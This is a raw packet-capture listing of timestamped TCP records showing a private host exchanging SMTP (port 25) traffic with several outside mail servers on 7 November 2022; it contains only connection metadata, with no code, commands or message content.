Nov 7, 2022 22:25:01.492522001 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492526054 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492544889 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492548943 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492598057 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.546674967 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546739101 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546767950 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546794891 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546821117 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546839952 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546857119 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546897888 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546895027 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.546895027 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.546932936 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546966076 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.546996117 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547012091 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547020912 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547046900 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547051907 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547051907 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547051907 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547075033 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547101021 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547118902 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547118902 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547126055 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547153950 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547169924 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547169924 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547179937 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547211885 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547214031 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547238111 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547243118 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547265053 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547269106 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547292948 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547297001 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547321081 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547334909 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547334909 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547346115 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547370911 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547373056 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547399998 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547406912 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547432899 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547434092 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547456026 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547461987 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547483921 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547488928 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547512054 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547517061 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547543049 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547569036 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547570944 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547570944 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547594070 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547615051 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547615051 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547621012 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547647953 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547648907 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547673941 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547674894 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547700882 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547728062 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547754049 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547754049 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547755003 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547781944 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.547816992 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547816992 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547816992 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.547862053 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.553432941 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:01.592942953 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:01.601627111 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601651907 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601665020 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601677895 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601689100 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601700068 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601763010 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601764917 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.601775885 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601764917 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.601869106 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.601869106 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.601907969 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601922035 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601938963 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601955891 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.601982117 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602004051 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602026939 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602041006 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602066040 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602086067 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602102995 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602125883 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602139950 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602155924 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602219105 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602219105 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602277994 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602297068 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602308989 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602320910 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602365971 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602389097 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602404118 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602405071 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602466106 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602468014 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602509022 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602520943 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602530003 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602582932 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602583885 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602583885 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602631092 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602665901 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602684021 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602699041 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602747917 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602768898 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602768898 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602845907 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602865934 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602895975 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602910042 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602921009 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602971077 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.602982998 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.602997065 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603004932 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603034973 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603070021 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603204012 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603221893 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603235006 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603261948 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603266001 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603283882 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603298903 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603298903 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603327036 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603378057 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603399038 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603430986 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603466988 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603486061 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603499889 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603513002 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603542089 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603545904 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603559017 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603575945 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603596926 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603635073 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603657961 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603705883 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.603713989 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603763103 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603780031 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603800058 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603841066 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603920937 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603938103 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603979111 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.603996992 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604010105 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604073048 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604110956 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604125977 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604183912 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604199886 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604258060 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604300022 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604317904 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604334116 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604406118 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604459047 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604506016 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604628086 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604672909 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604688883 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604707956 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.604724884 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655709982 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655752897 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655774117 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655792952 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655814886 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655834913 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655855894 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655875921 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655894995 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655914068 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655934095 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655955076 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655975103 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.655996084 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656016111 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656111002 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656132936 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656152964 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656174898 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656193972 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656213045 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656234980 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656255007 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656387091 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656449080 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656470060 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656553984 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656574965 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656594992 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656615019 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656636000 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656656027 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656675100 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656693935 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656733036 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656754971 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656774998 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656795025 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656816959 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656862974 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656884909 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656914949 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656933069 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656951904 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.656982899 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657011032 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657037020 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657063007 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657191038 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657221079 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657248020 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657274961 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657301903 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657330036 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657357931 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657537937 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657565117 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657589912 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657614946 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657645941 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657732964 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657766104 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657780886 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657795906 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657809973 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657824993 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657857895 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657874107 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.657987118 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658113956 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658134937 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658152103 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658168077 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658184052 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658199072 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658212900 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658380985 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658397913 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658413887 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658467054 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658483982 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658499002 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658514023 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658528090 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658543110 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658557892 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658575058 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658590078 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658606052 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658622980 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658658981 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658679962 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658700943 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658723116 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658744097 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658766031 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658787012 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658802032 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658819914 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658830881 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658849001 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658866882 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658906937 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658930063 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658961058 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.658983946 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.668323040 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.722193956 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.726699114 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.729862928 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.780396938 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:01.784059048 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.784131050 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.959940910 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:02.130330086 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:02.147728920 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:02.147897005 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:02.147998095 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:02.447824955 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:02.447983027 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:02.515239954 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:02.682498932 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:02.682749987 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:02.683739901 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:02.683983088 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:03.043936014 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:03.050992966 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:03.217381001 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:03.218316078 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:03.229866982 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:03.274041891 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:03.579272985 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:03.640798092 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:03.750585079 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:03.759768009 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:03.808753014 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:03.821976900 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:03.824388981 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:03.989161015 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:04.107371092 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:04.107372046 CET	49862	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:25:04.123763084 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:04.134347916 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:04.134565115 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:04.188941002 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193229914 CET	25	49858	74.125.200.26	192.168.2.5
